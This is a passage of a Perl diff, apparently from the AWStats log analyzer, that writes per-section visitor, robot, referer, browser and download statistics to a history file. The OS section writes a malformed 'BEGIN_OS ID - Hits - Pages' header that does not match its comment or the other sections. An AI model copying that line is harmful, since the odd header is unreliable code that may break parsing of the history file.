keys %{ $PluginsLoaded{'SectionInitHashArray'} } ) { + print HISTORYTMP "${xmlrb}POS_PLUGIN_$_${xmlrs}"; + $PosInFile{"plugin_$_"} = tell HISTORYTMP; + print HISTORYTMP "$spacebar${xmlre}\n"; + } + print HISTORYTMP "${xmleb}END_MAP${xmlee}\n"; + } + + # General + if ( $sectiontosave eq 'general' ) { + $LastUpdate = int("$nowyear$nowmonth$nowday$nowhour$nowmin$nowsec"); + print HISTORYTMP "\n"; + if ($xml) { + print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; + } + print HISTORYTMP +"# LastLine = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value\n"; + print HISTORYTMP + "# FirstTime = Date of first visit for history file\n"; + print HISTORYTMP + "# LastTime = Date of last visit for history file\n"; + print HISTORYTMP +"# LastUpdate = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped\n"; + print HISTORYTMP "# TotalVisits = Number of visits\n"; + print HISTORYTMP "# TotalUnique = Number of unique visitors\n"; + print HISTORYTMP "# MonthHostsKnown = Number of hosts known\n"; + print HISTORYTMP "# MonthHostsUnKnown = Number of hosts unknown\n"; + $ValueInFile{$sectiontosave} = tell HISTORYTMP; + print HISTORYTMP "${xmlbb}BEGIN_GENERAL${xmlbs}8${xmlbe}\n"; + print HISTORYTMP "${xmlrb}LastLine${xmlrs}" + . ( $LastLine > 0 ? $LastLine : $LastTime{$breakdate} ) + . " $lastlinenb $lastlineoffset $lastlinechecksum${xmlre}\n"; + print HISTORYTMP "${xmlrb}FirstTime${xmlrs}" + . $FirstTime{$breakdate} + . "${xmlre}\n"; + print HISTORYTMP "${xmlrb}LastTime${xmlrs}" + . $LastTime{$breakdate} + . "${xmlre}\n"; + print HISTORYTMP +"${xmlrb}LastUpdate${xmlrs}$LastUpdate $NbOfLinesParsed $NbOfOldLines $NbOfNewLines $NbOfLinesCorrupted $NbOfLinesDropped${xmlre}\n"; + print HISTORYTMP "${xmlrb}TotalVisits${xmlrs}"; + $PosInFile{"TotalVisits"} = tell HISTORYTMP; + print HISTORYTMP "$spacebar${xmlre}\n"; + print HISTORYTMP "${xmlrb}TotalUnique${xmlrs}"; + $PosInFile{"TotalUnique"} = tell HISTORYTMP; + print HISTORYTMP "$spacebar${xmlre}\n"; + print HISTORYTMP "${xmlrb}MonthHostsKnown${xmlrs}"; + $PosInFile{"MonthHostsKnown"} = tell HISTORYTMP; + print HISTORYTMP "$spacebar${xmlre}\n"; + print HISTORYTMP "${xmlrb}MonthHostsUnknown${xmlrs}"; + $PosInFile{"MonthHostsUnknown"} = tell HISTORYTMP; + print HISTORYTMP "$spacebar${xmlre}\n"; + print HISTORYTMP "${xmleb}" + . ( ${xmleb} ? "\n" : "" ) + . "END_GENERAL${xmlee}\n" + ; # END_GENERAL on a new line following xml tag because END_ detection does not work like other sections + } + + # When + if ( $sectiontosave eq 'time' ) { + print HISTORYTMP "\n"; + if ($xml) { + print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; + } + print HISTORYTMP +"# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth\n"; + $ValueInFile{$sectiontosave} = tell HISTORYTMP; + print HISTORYTMP "${xmlbb}BEGIN_TIME${xmlbs}24${xmlbe}\n"; + for ( my $ix = 0 ; $ix <= 23 ; $ix++ ) { + print HISTORYTMP "${xmlrb}$ix${xmlrs}" + . int( $_time_p[$ix] ) + . "${xmlrs}" + . int( $_time_h[$ix] ) + . "${xmlrs}" + . int( $_time_k[$ix] ) + . "${xmlrs}" + . int( $_time_nv_p[$ix] ) + . "${xmlrs}" + . int( $_time_nv_h[$ix] ) + . "${xmlrs}" + . int( $_time_nv_k[$ix] ) + . "${xmlre}\n"; + } + print HISTORYTMP "${xmleb}END_TIME${xmlee}\n"; + } + if ( $sectiontosave eq 'day' ) + { # This section must be saved after VISITOR section is read + print HISTORYTMP "\n"; + if ($xml) { + print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; + } + print HISTORYTMP "# Date - Pages - Hits - Bandwidth - Visits\n"; + $ValueInFile{$sectiontosave} = tell HISTORYTMP; + print HISTORYTMP "${xmlbb}BEGIN_DAY${xmlbs}" + . ( scalar keys %DayHits ) + . "${xmlbe}\n"; + my $monthvisits = 0; + foreach ( sort keys %DayHits ) { + if ( $_ =~ /^$year$month/i ) { # Found a day entry of the good month + my $page = $DayPages{$_} || 0; + my $hits = $DayHits{$_} || 0; + my $bytes = $DayBytes{$_} || 0; + my $visits = $DayVisits{$_} || 0; + print HISTORYTMP +"${xmlrb}$_${xmlrs}$page${xmlrs}$hits${xmlrs}$bytes${xmlrs}$visits${xmlre}\n"; + $monthvisits += $visits; + } + } + $MonthVisits{ $year . $month } = $monthvisits; + print HISTORYTMP "${xmleb}END_DAY${xmlee}\n"; + } + + # Who + if ( $sectiontosave eq 'domain' ) { + print HISTORYTMP "\n"; + if ($xml) { + print HISTORYTMP +"<section id='$sectiontosave'><sortfor>$MaxNbOf{'Domain'}</sortfor><comment>\n"; + } + print HISTORYTMP "# Domain - Pages - Hits - Bandwidth\n"; + print HISTORYTMP +"# The $MaxNbOf{'Domain'} first Pages must be first (order not required for others)\n"; + $ValueInFile{$sectiontosave} = tell HISTORYTMP; + print HISTORYTMP "${xmlbb}BEGIN_DOMAIN${xmlbs}" + . ( scalar keys %_domener_h ) + . "${xmlbe}\n"; + +# We save page list in score sorted order to get a -output faster and with less use of memory. + &BuildKeyList( + $MaxNbOf{'Domain'}, $MinHit{'Domain'}, + \%_domener_h, \%_domener_p + ); + my %keysinkeylist = (); + foreach (@keylist) { + $keysinkeylist{$_} = 1; + my $page = $_domener_p{$_} || 0; + my $bytes = $_domener_k{$_} + || 0; # ||0 could be commented to reduce history file size + print HISTORYTMP +"${xmlrb}$_${xmlrs}$page${xmlrs}$_domener_h{$_}${xmlrs}$bytes${xmlre}\n"; + } + foreach ( keys %_domener_h ) { + if ( $keysinkeylist{$_} ) { next; } + my $page = $_domener_p{$_} || 0; + my $bytes = $_domener_k{$_} + || 0; # ||0 could be commented to reduce history file size + print HISTORYTMP +"${xmlrb}$_${xmlrs}$page${xmlrs}$_domener_h{$_}${xmlrs}$bytes${xmlre}\n"; + } + print HISTORYTMP "${xmleb}END_DOMAIN${xmlee}\n"; + } + if ( $sectiontosave eq 'visitor' ) { + print HISTORYTMP "\n"; + if ($xml) { + print HISTORYTMP +"<section id='$sectiontosave'><sortfor>$MaxNbOf{'HostsShown'}</sortfor><comment>\n"; + } + print HISTORYTMP +"# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]\n"; + print HISTORYTMP +"# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished\n"; + print HISTORYTMP +"# The $MaxNbOf{'HostsShown'} first Hits must be first (order not required for others)\n"; + $ValueInFile{$sectiontosave} = tell HISTORYTMP; + print HISTORYTMP "${xmlbb}BEGIN_VISITOR${xmlbs}" + . ( scalar keys %_host_h ) + . "${xmlbe}\n"; + my $monthhostsknown = 0; + +# We save page list in score sorted order to get a -output faster and with less use of memory. + &BuildKeyList( $MaxNbOf{'HostsShown'}, $MinHit{'Host'}, \%_host_h, + \%_host_p ); + my %keysinkeylist = (); + foreach my $key (@keylist) { + if ( $key !~ /^\d+\.\d+\.\d+\.\d+$/ && $key !~ /^[0-9A-F]*:/i ) { + $monthhostsknown++; + } + $keysinkeylist{$key} = 1; + my $page = $_host_p{$key} || 0; + my $bytes = $_host_k{$key} || 0; + my $timehostl = $_host_l{$key} || 0; + my $timehosts = $_host_s{$key} || 0; + my $lastpage = $_host_u{$key} || ''; + if ( $timehostl && $timehosts && $lastpage ) { + + if ( ( $timehostl + $VISITTIMEOUT ) < $LastLine ) { + + # Session for this user is expired + if ($timehosts) { + $_session{ GetSessionRange( $timehosts, $timehostl ) } + ++; + } + if ($lastpage) { $_url_x{$lastpage}++; } + delete $_host_s{$key}; + delete $_host_u{$key}; + print HISTORYTMP +"${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$timehostl${xmlre}\n"; + } + else { + + # If this user has started a new session that is not expired + print HISTORYTMP +"${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$timehostl${xmlrs}$timehosts${xmlrs}$lastpage${xmlre}\n"; + } + } + else { + my $hostl = $timehostl || ''; + print HISTORYTMP +"${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$hostl${xmlre}\n"; + } + } + foreach my $key ( keys %_host_h ) { + if ( $keysinkeylist{$key} ) { next; } + if ( $key !~ /^\d+\.\d+\.\d+\.\d+$/ && $key !~ /^[0-9A-F]*:/i ) { + $monthhostsknown++; + } + my $page = $_host_p{$key} || 0; + my $bytes = $_host_k{$key} || 0; + my $timehostl = $_host_l{$key} || 0; + my $timehosts = $_host_s{$key} || 0; + my $lastpage = $_host_u{$key} || ''; + if ( $timehostl && $timehosts && $lastpage ) { + if ( ( $timehostl + $VISITTIMEOUT ) < $LastLine ) { + + # Session for this user is expired + if ($timehosts) { + $_session{ GetSessionRange( $timehosts, $timehostl ) } + ++; + } + if ($lastpage) { $_url_x{$lastpage}++; } + delete $_host_s{$key}; + delete $_host_u{$key}; + print HISTORYTMP +"${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$timehostl${xmlre}\n"; + } + else { + + # If this user has started a new session that is not expired + print HISTORYTMP +"${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$timehostl${xmlrs}$timehosts${xmlrs}$lastpage${xmlre}\n"; + } + } + else { + my $hostl = $timehostl || ''; + print HISTORYTMP +"${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$hostl${xmlre}\n"; + } + } + $MonthUnique{ $year . $month } = ( scalar keys %_host_p ); + $MonthHostsKnown{ $year . $month } = $monthhostsknown; + $MonthHostsUnknown{ $year . $month } = + ( scalar keys %_host_h ) - $monthhostsknown; + print HISTORYTMP "${xmleb}END_VISITOR${xmlee}\n"; + } + if ( $sectiontosave eq 'login' ) { + print HISTORYTMP "\n"; + if ($xml) { + print HISTORYTMP +"<section id='$sectiontosave'><sortfor>$MaxNbOf{'LoginShown'}</sortfor><comment>\n"; + } + print HISTORYTMP "# Login - Pages - Hits - Bandwidth - Last visit\n"; + print HISTORYTMP +"# The $MaxNbOf{'LoginShown'} first Pages must be first (order not required for others)\n"; + $ValueInFile{$sectiontosave} = tell HISTORYTMP; + print HISTORYTMP "${xmlbb}BEGIN_LOGIN${xmlbs}" + . ( scalar keys %_login_h ) + . "${xmlbe}\n"; + +# We save login list in score sorted order to get a -output faster and with less use of memory. + &BuildKeyList( $MaxNbOf{'LoginShown'}, $MinHit{'Login'}, \%_login_h, + \%_login_p ); + my %keysinkeylist = (); + foreach (@keylist) { + $keysinkeylist{$_} = 1; + print HISTORYTMP "${xmlrb}$_${xmlrs}" + . int( $_login_p{$_} || 0 ) + . "${xmlrs}" + . int( $_login_h{$_} || 0 ) + . "${xmlrs}" + . int( $_login_k{$_} || 0 ) + . "${xmlrs}" + . ( $_login_l{$_} || '' ) + . "${xmlre}\n"; + } + foreach ( keys %_login_h ) { + if ( $keysinkeylist{$_} ) { next; } + print HISTORYTMP "${xmlrb}$_${xmlrs}" + . int( $_login_p{$_} || 0 ) + . "${xmlrs}" + . int( $_login_h{$_} || 0 ) + . "${xmlrs}" + . int( $_login_k{$_} || 0 ) + . "${xmlrs}" + . ( $_login_l{$_} || '' ) + . "${xmlre}\n"; + } + print HISTORYTMP "${xmleb}END_LOGIN${xmlee}\n"; + } + if ( $sectiontosave eq 'robot' ) { + print HISTORYTMP "\n"; + if ($xml) { + print HISTORYTMP +"<section id='$sectiontosave'><sortfor>$MaxNbOf{'RobotShown'}</sortfor><comment>\n"; + } + print HISTORYTMP + "# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt\n"; + print HISTORYTMP +"# The $MaxNbOf{'RobotShown'} first Hits must be first (order not required for others)\n"; + $ValueInFile{$sectiontosave} = tell HISTORYTMP; + print HISTORYTMP "${xmlbb}BEGIN_ROBOT${xmlbs}" + . ( scalar keys %_robot_h ) + . "${xmlbe}\n"; + +# We save robot list in score sorted order to get a -output faster and with less use of memory. + &BuildKeyList( $MaxNbOf{'RobotShown'}, $MinHit{'Robot'}, \%_robot_h, + \%_robot_h ); + my %keysinkeylist = (); + foreach (@keylist) { + $keysinkeylist{$_} = 1; + print HISTORYTMP "${xmlrb}$_${xmlrs}" + . int( $_robot_h{$_} ) + . "${xmlrs}" + . int( $_robot_k{$_} ) + . "${xmlrs}$_robot_l{$_}${xmlrs}" + . int( $_robot_r{$_} || 0 ) + . "${xmlre}\n"; + } + foreach ( keys %_robot_h ) { + if ( $keysinkeylist{$_} ) { next; } + print HISTORYTMP "${xmlrb}$_${xmlrs}" + . int( $_robot_h{$_} ) + . "${xmlrs}" + . int( $_robot_k{$_} ) + . "${xmlrs}$_robot_l{$_}${xmlrs}" + . int( $_robot_r{$_} || 0 ) + . "${xmlre}\n"; + } + print HISTORYTMP "${xmleb}END_ROBOT${xmlee}\n"; + } + if ( $sectiontosave eq 'worms' ) { + print HISTORYTMP "\n"; + if ($xml) { + print HISTORYTMP +"<section id='$sectiontosave'><sortfor>$MaxNbOf{'WormsShown'}</sortfor><comment>\n"; + } + print HISTORYTMP "# Worm ID - Hits - Bandwidth - Last visit\n"; + print HISTORYTMP +"# The $MaxNbOf{'WormsShown'} first Hits must be first (order not required for others)\n"; + $ValueInFile{$sectiontosave} = tell HISTORYTMP; + print HISTORYTMP "${xmlbb}BEGIN_WORMS${xmlbs}" + . ( scalar keys %_worm_h ) + . "${xmlbe}\n"; + +# We save worm list in score sorted order to get a -output faster and with less use of memory. + &BuildKeyList( $MaxNbOf{'WormsShown'}, $MinHit{'Worm'}, \%_worm_h, + \%_worm_h ); + my %keysinkeylist = (); + foreach (@keylist) { + $keysinkeylist{$_} = 1; + print HISTORYTMP "${xmlrb}$_${xmlrs}" + . int( $_worm_h{$_} ) + . "${xmlrs}" + . int( $_worm_k{$_} ) + . "${xmlrs}$_worm_l{$_}${xmlre}\n"; + } + foreach ( keys %_worm_h ) { + if ( $keysinkeylist{$_} ) { next; } + print HISTORYTMP "${xmlrb}$_${xmlrs}" + . int( $_worm_h{$_} ) + . "${xmlrs}" + . int( $_worm_k{$_} ) + . "${xmlrs}$_worm_l{$_}${xmlre}\n"; + } + print HISTORYTMP "${xmleb}END_WORMS${xmlee}\n"; + } + if ( $sectiontosave eq 'emailsender' ) { + print HISTORYTMP "\n"; + if ($xml) { + print HISTORYTMP +"<section id='$sectiontosave'><sortfor>$MaxNbOf{'EMailsShown'}</sortfor><comment>\n"; + } + print HISTORYTMP "# EMail - Hits - Bandwidth - Last visit\n"; + print HISTORYTMP +"# The $MaxNbOf{'EMailsShown'} first Hits must be first (order not required for others)\n"; + $ValueInFile{$sectiontosave} = tell HISTORYTMP; + print HISTORYTMP "${xmlbb}BEGIN_EMAILSENDER${xmlbs}" + . ( scalar keys %_emails_h ) + . "${xmlbe}\n"; + +# We save sender email list in score sorted order to get a -output faster and with less use of memory. + &BuildKeyList( $MaxNbOf{'EMailsShown'}, $MinHit{'EMail'}, \%_emails_h, + \%_emails_h ); + my %keysinkeylist = (); + foreach (@keylist) { + $keysinkeylist{$_} = 1; + print HISTORYTMP "${xmlrb}$_${xmlrs}" + . int( $_emails_h{$_} || 0 ) + . "${xmlrs}" + . int( $_emails_k{$_} || 0 ) + . "${xmlrs}$_emails_l{$_}${xmlre}\n"; + } + foreach ( keys %_emails_h ) { + if ( $keysinkeylist{$_} ) { next; } + print HISTORYTMP "${xmlrb}$_${xmlrs}" + . int( $_emails_h{$_} || 0 ) + . "${xmlrs}" + . int( $_emails_k{$_} || 0 ) + . "${xmlrs}$_emails_l{$_}${xmlre}\n"; + } + print HISTORYTMP "${xmleb}END_EMAILSENDER${xmlee}\n"; + } + if ( $sectiontosave eq 'emailreceiver' ) { + print HISTORYTMP "\n"; + if ($xml) { + print HISTORYTMP +"<section id='$sectiontosave'><sortfor>$MaxNbOf{'EMailsShown'}</sortfor><comment>\n"; + } + print HISTORYTMP "# EMail - Hits - Bandwidth - Last visit\n"; + print HISTORYTMP +"# The $MaxNbOf{'EMailsShown'} first hits must be first (order not required for others)\n"; + $ValueInFile{$sectiontosave} = tell HISTORYTMP; + print HISTORYTMP "${xmlbb}BEGIN_EMAILRECEIVER${xmlbs}" + . ( scalar keys %_emailr_h ) + . "${xmlbe}\n"; + +# We save receiver email list in score sorted order to get a -output faster and with less use of memory. + &BuildKeyList( $MaxNbOf{'EMailsShown'}, $MinHit{'EMail'}, \%_emailr_h, + \%_emailr_h ); + my %keysinkeylist = (); + foreach (@keylist) { + $keysinkeylist{$_} = 1; + print HISTORYTMP "${xmlrb}$_${xmlrs}" + . int( $_emailr_h{$_} || 0 ) + . "${xmlrs}" + . int( $_emailr_k{$_} || 0 ) + . "${xmlrs}$_emailr_l{$_}${xmlre}\n"; + } + foreach ( keys %_emailr_h ) { + if ( $keysinkeylist{$_} ) { next; } + print HISTORYTMP "${xmlrb}$_${xmlrs}" + . int( $_emailr_h{$_} || 0 ) + . "${xmlrs}" + . int( $_emailr_k{$_} || 0 ) + . "${xmlrs}$_emailr_l{$_}${xmlre}\n"; + } + print HISTORYTMP "${xmleb}END_EMAILRECEIVER${xmlee}\n"; + } + + # Navigation + if ( $sectiontosave eq 'session' ) + { # This section must be saved after VISITOR section is read + print HISTORYTMP "\n"; + if ($xml) { + print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; + } + print HISTORYTMP "# Session range - Number of visits\n"; + $ValueInFile{$sectiontosave} = tell HISTORYTMP; + print HISTORYTMP "${xmlbb}BEGIN_SESSION${xmlbs}" + . ( scalar keys %_session ) + . "${xmlbe}\n"; + foreach ( keys %_session ) { + print HISTORYTMP "${xmlrb}$_${xmlrs}" + . int( $_session{$_} ) + . "${xmlre}\n"; + } + print HISTORYTMP "${xmleb}END_SESSION${xmlee}\n"; + } + if ( $sectiontosave eq 'sider' ) + { # This section must be saved after VISITOR section is read + print HISTORYTMP "\n"; + if ($xml) { + print HISTORYTMP +"<section id='$sectiontosave'><sortfor>$MaxNbOf{'PageShown'}</sortfor><comment>\n"; + } + print HISTORYTMP "# URL - Pages - Bandwidth - Entry - Exit\n"; + print HISTORYTMP +"# The $MaxNbOf{'PageShown'} first Pages must be first (order not required for others)\n"; + $ValueInFile{$sectiontosave} = tell HISTORYTMP; + print HISTORYTMP "${xmlbb}BEGIN_SIDER${xmlbs}" + . ( scalar keys %_url_p ) + . "${xmlbe}\n"; + +# We save page list in score sorted order to get a -output faster and with less use of memory. + &BuildKeyList( $MaxNbOf{'PageShown'}, $MinHit{'File'}, \%_url_p, + \%_url_p ); + %keysinkeylist = (); + foreach (@keylist) { + $keysinkeylist{$_} = 1; + my $newkey = $_; + $newkey =~ s/([^:])\/\//$1\//g + ; # Because some targeted url were taped with 2 / (Ex: //rep//file.htm). We must keep http://rep/file.htm + print HISTORYTMP "${xmlrb}" + . XMLEncodeForHisto($newkey) + . "${xmlrs}" + . int( $_url_p{$_} || 0 ) + . "${xmlrs}" + . int( $_url_k{$_} || 0 ) + . "${xmlrs}" + . int( $_url_e{$_} || 0 ) + . "${xmlrs}" + . int( $_url_x{$_} || 0 ) + . "${xmlre}\n"; + } + foreach ( keys %_url_p ) { + if ( $keysinkeylist{$_} ) { next; } + my $newkey = $_; + $newkey =~ s/([^:])\/\//$1\//g + ; # Because some targeted url were taped with 2 / (Ex: //rep//file.htm). We must keep http://rep/file.htm + print HISTORYTMP "${xmlrb}" + . XMLEncodeForHisto($newkey) + . "${xmlrs}" + . int( $_url_p{$_} || 0 ) + . "${xmlrs}" + . int( $_url_k{$_} || 0 ) + . "${xmlrs}" + . int( $_url_e{$_} || 0 ) + . "${xmlrs}" + . int( $_url_x{$_} || 0 ) + . "${xmlre}\n"; + } + print HISTORYTMP "${xmleb}END_SIDER${xmlee}\n"; + } + if ( $sectiontosave eq 'filetypes' ) { + print HISTORYTMP "\n"; + if ($xml) { + print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; + } + print HISTORYTMP +"# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression\n"; + $ValueInFile{$sectiontosave} = tell HISTORYTMP; + print HISTORYTMP "${xmlbb}BEGIN_FILETYPES${xmlbs}" + . ( scalar keys %_filetypes_h ) + . "${xmlbe}\n"; + foreach ( keys %_filetypes_h ) { + my $hits = $_filetypes_h{$_} || 0; + my $bytes = $_filetypes_k{$_} || 0; + my $bytesbefore = $_filetypes_gz_in{$_} || 0; + my $bytesafter = $_filetypes_gz_out{$_} || 0; + print HISTORYTMP +"${xmlrb}$_${xmlrs}$hits${xmlrs}$bytes${xmlrs}$bytesbefore${xmlrs}$bytesafter${xmlre}\n"; + } + print HISTORYTMP "${xmleb}END_FILETYPES${xmlee}\n"; + } + if ( $sectiontosave eq 'downloads' ) { + print HISTORYTMP "\n"; + if ($xml) { + print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; + } + print HISTORYTMP "# Downloads - Hits - Bandwidth\n"; + $ValueInFile{$sectiontosave} = tell HISTORYTMP; + print HISTORYTMP "${xmlbb}BEGIN_DOWNLOADS${xmlbs}" + . ( scalar keys %_downloads ) + . "${xmlbe}\n"; + for my $u (sort {$_downloads{$b}->{'AWSTATS_HITS'} <=> $_downloads{$a}->{'AWSTATS_HITS'}}(keys %_downloads) ){ + print HISTORYTMP "${xmlrb}" + . XMLEncodeForHisto($u) + . "${xmlrs}" + . XMLEncodeForHisto($_downloads{$u}->{'AWSTATS_HITS'} || 0) + . "${xmlrs}" + . XMLEncodeForHisto($_downloads{$u}->{'AWSTATS_206'} || 0) + ."${xmlrs}" + . XMLEncodeForHisto($_downloads{$u}->{'AWSTATS_SIZE'} || 0) + ."${xmlre}\n"; + } + print HISTORYTMP "${xmleb}END_DOWNLOADS${xmlee}\n"; + } + if ( $sectiontosave eq 'os' ) { + print HISTORYTMP "\n"; + if ($xml) { + print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; + } + print HISTORYTMP "# OS ID - Hits\n"; + $ValueInFile{$sectiontosave} = tell HISTORYTMP; + print HISTORYTMP "${xmlbb}BEGIN_OS ID - Hits - Pages${xmlbs}" + . ( scalar keys %_os_h ) + . "${xmlbe}\n"; + foreach ( keys %_os_h ) { + my $hits = $_os_h{$_} || 0; + my $pages = $_os_p{$_} || 0; + print HISTORYTMP "${xmlrb}$_${xmlrs}$hits${xmlrs}$pages${xmlre}\n"; + } + print HISTORYTMP "${xmleb}END_OS${xmlee}\n"; + } + if ( $sectiontosave eq 'browser' ) { + print HISTORYTMP "\n"; + if ($xml) { + print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; + } + print HISTORYTMP "# Browser ID - Hits - Pages\n"; + $ValueInFile{$sectiontosave} = tell HISTORYTMP; + print HISTORYTMP "${xmlbb}BEGIN_BROWSER${xmlbs}" + . ( scalar keys %_browser_h ) + . "${xmlbe}\n"; + foreach ( keys %_browser_h ) { + my $hits = $_browser_h{$_} || 0; + my $pages = $_browser_p{$_} || 0; + print HISTORYTMP "${xmlrb}$_${xmlrs}$hits${xmlrs}$pages${xmlre}\n"; + } + print HISTORYTMP "${xmleb}END_BROWSER${xmlee}\n"; + } + if ( $sectiontosave eq 'screensize' ) { + print HISTORYTMP "\n"; + if ($xml) { + print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; + } + print HISTORYTMP "# Screen size - Hits\n"; + $ValueInFile{$sectiontosave} = tell HISTORYTMP; + print HISTORYTMP "${xmlbb}BEGIN_SCREENSIZE${xmlbs}" + . ( scalar keys %_screensize_h ) + . "${xmlbe}\n"; + foreach ( keys %_screensize_h ) { + print HISTORYTMP "${xmlrb}$_${xmlrs}$_screensize_h{$_}${xmlre}\n"; + } + print HISTORYTMP "${xmleb}END_SCREENSIZE${xmlee}\n"; + } + + # Referer + if ( $sectiontosave eq 'unknownreferer' ) { + print HISTORYTMP "\n"; + if ($xml) { + print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; + } + print HISTORYTMP "# Unknown referer OS - Last visit date\n"; + $ValueInFile{$sectiontosave} = tell HISTORYTMP; + print HISTORYTMP "${xmlbb}BEGIN_UNKNOWNREFERER${xmlbs}" + . ( scalar keys %_unknownreferer_l ) + . "${xmlbe}\n"; + foreach ( keys %_unknownreferer_l ) { + print HISTORYTMP "${xmlrb}" + . XMLEncodeForHisto($_) + . "${xmlrs}$_unknownreferer_l{$_}${xmlre}\n"; + } + print HISTORYTMP "${xmleb}END_UNKNOWNREFERER${xmlee}\n"; + } + if ( $sectiontosave eq 'unknownrefererbrowser' ) { + print HISTORYTMP "\n"; + if ($xml) { + print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; + } + print HISTORYTMP "# Unknown referer Browser - Last visit date\n"; + $ValueInFile{$sectiontosave} = tell HISTORYTMP; + print HISTORYTMP "${xmlbb}BEGIN_UNKNOWNREFERERBROWSER${xmlbs}" + . ( scalar keys %_unknownrefererbrowser_l ) + . "${xmlbe}\n"; + foreach ( keys %_unknownrefererbrowser_l ) { + print HISTORYTMP "${xmlrb}" + . XMLEncodeForHisto($_) + . "${xmlrs}$_unknownrefererbrowser_l{$_}${xmlre}\n"; + } + print HISTORYTMP "${xmleb}END_UNKNOWNREFERERBROWSER${xmlee}\n"; + } + if ( $sectiontosave eq 'origin' ) { + print HISTORYTMP "\n"; + if ($xml) { + print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; + } + print HISTORYTMP "# Origin - Pages - Hits \n"; + $ValueInFile{$sectiontosave} = tell HISTORYTMP; + print HISTORYTMP "${xmlbb}BEGIN_ORIGIN${xmlbs}6" . "${xmlbe}\n"; + print HISTORYTMP "${xmlrb}From0${xmlrs}" + . int( $_from_p[0] ) + . "${xmlrs}" + . int( $_from_h[0] ) + . "${xmlre}\n"; + print HISTORYTMP "${xmlrb}From1${xmlrs}" + . int( $_from_p[1] ) + . "${xmlrs}" + . int( $_from_h[1] ) + . "${xmlre}\n"; + print HISTORYTMP "${xmlrb}From2${xmlrs}" + . int( $_from_p[2] ) + . "${xmlrs}" + . int( $_from_h[2] ) + . "${xmlre}\n"; + print HISTORYTMP "${xmlrb}From3${xmlrs}" + . int( $_from_p[3] ) + . "${xmlrs}" + . int( $_from_h[3] ) + . "${xmlre}\n"; + print HISTORYTMP "${xmlrb}From4${xmlrs}" + . int( $_from_p[4] ) + . "${xmlrs}" + . int( $_from_h[4] ) + . "${xmlre}\n"; # Same site + print HISTORYTMP "${xmlrb}From5${xmlrs}" + . int( $_from_p[5] ) + . "${xmlrs}" + . int( $_from_h[5] ) + . "${xmlre}\n"; # News + print HISTORYTMP "${xmleb}END_ORIGIN${xmlee}\n"; + } + if ( $sectiontosave eq 'sereferrals' ) { + print HISTORYTMP "\n"; + if ($xml) { + print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; + } + print HISTORYTMP "# Search engine referers ID - Pages - Hits\n"; + $ValueInFile{$sectiontosave} = tell HISTORYTMP; + print HISTORYTMP "${xmlbb}BEGIN_SEREFERRALS${xmlbs}" + . ( scalar keys %_se_referrals_h ) + . "${xmlbe}\n"; + foreach ( keys %_se_referrals_h ) { + print HISTORYTMP "${xmlrb}$_${xmlrs}" + . int( $_se_referrals_p{$_} || 0 ) + . "${xmlrs}$_se_referrals_h{$_}${xmlre}\n"; + } + print HISTORYTMP "${xmleb}END_SEREFERRALS${xmlee}\n"; + } + if ( $sectiontosave eq 'pagerefs' ) { + print HISTORYTMP "\n"; + if ($xml) { + print HISTORYTMP +"<section id='$sectiontosave'><sortfor>$MaxNbOf{'RefererShown'}</sortfor><comment>\n"; + } + print HISTORYTMP "# External page referers - Pages - Hits\n"; + print HISTORYTMP +"# The $MaxNbOf{'RefererShown'} first Pages must be first (order not required for others)\n"; + $ValueInFile{$sectiontosave} = tell HISTORYTMP; + print HISTORYTMP "${xmlbb}BEGIN_PAGEREFS${xmlbs}" + . ( scalar keys %_pagesrefs_h ) + . "${xmlbe}\n"; + +# We save page list in score sorted order to get a -output faster and with less use of memory. + &BuildKeyList( + $MaxNbOf{'RefererShown'}, $MinHit{'Refer'}, + \%_pagesrefs_h, \%_pagesrefs_p + ); + %keysinkeylist = (); + foreach (@keylist) { + $keysinkeylist{$_} = 1; + my $newkey = $_; + $newkey =~ s/^http(s|):\/\/([^\/]+)\/$/http$1:\/\/$2/i + ; # Remove / at end of http://.../ but not at end of http://.../dir/ + print HISTORYTMP "${xmlrb}" + . XMLEncodeForHisto($newkey) + . "${xmlrs}" + . int( $_pagesrefs_p{$_} || 0 ) + . "${xmlrs}$_pagesrefs_h{$_}${xmlre}\n"; + } + foreach ( keys %_pagesrefs_h ) { + if ( $keysinkeylist{$_} ) { next; } + my $newkey = $_; + $newkey =~ s/^http(s|):\/\/([^\/]+)\/$/http$1:\/\/$2/i + ; # Remove / at end of http://.../ but not at end of http://.../dir/ + print HISTORYTMP "${xmlrb}" + . XMLEncodeForHisto($newkey) + . "${xmlrs}" + . int( $_pagesrefs_p{$_} || 0 ) + . "${xmlrs}$_pagesrefs_h{$_}${xmlre}\n"; + } + print HISTORYTMP "${xmleb}END_PAGEREFS${xmlee}\n"; + } + if ( $sectiontosave eq 'searchwords' ) { + + # Save phrases section + print HISTORYTMP "\n"; + if ($xml) { + print HISTORYTMP +"<section 